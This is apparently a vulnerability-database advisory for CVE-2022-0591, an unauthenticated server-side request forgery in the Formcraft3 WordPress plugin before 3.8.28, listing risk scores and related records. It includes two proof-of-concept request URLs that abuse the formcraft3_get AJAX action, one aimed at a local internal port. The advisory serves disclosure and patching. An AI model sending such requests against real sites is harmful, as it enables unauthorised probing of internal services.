Lucene search
Brandon James RoldanWPEX-ID:B5303E63-D640-4178-9237-D0F524B13D47HistoryFeb 28, 2022 - 12:00 a.m.
Formcraft3 < 3.8.28 - Unauthenticated SSRF
2022-02-2800:00:00
Brandon James Roldan
646
0.035 Low
EPSS
Percentile
91.6%
The plugin does not validate the URL parameter in the formcraft3_get AJAX action, leading to SSRF issues exploitable by unauthenticated users
https://example.com/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://wpscan.com
https://example.com/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://127.0.0.1:8181Related
nvd
nvd
CVE-2022-0591
2022-03-21 19:15:10
prion
prion
Design/Logic Flaw
2022-03-21 19:15:00
wpvulndb
wpvulndb
Formcraft3 < 3.8.28 - Unauthenticated SSRF
2022-02-28 00:00:00
nuclei
nuclei
Formcraft3 <3.8.28 - Server-Side Request Forgery
2022-04-29 19:53:32
patchstack
patchstack
cvelist
cvelist
CVE-2022-0591 Formcraft3 < 3.8.28 - Unauthenticated SSRF
2022-03-21 18:55:48
cve
cve
CVE-2022-0591
2022-03-21 19:15:10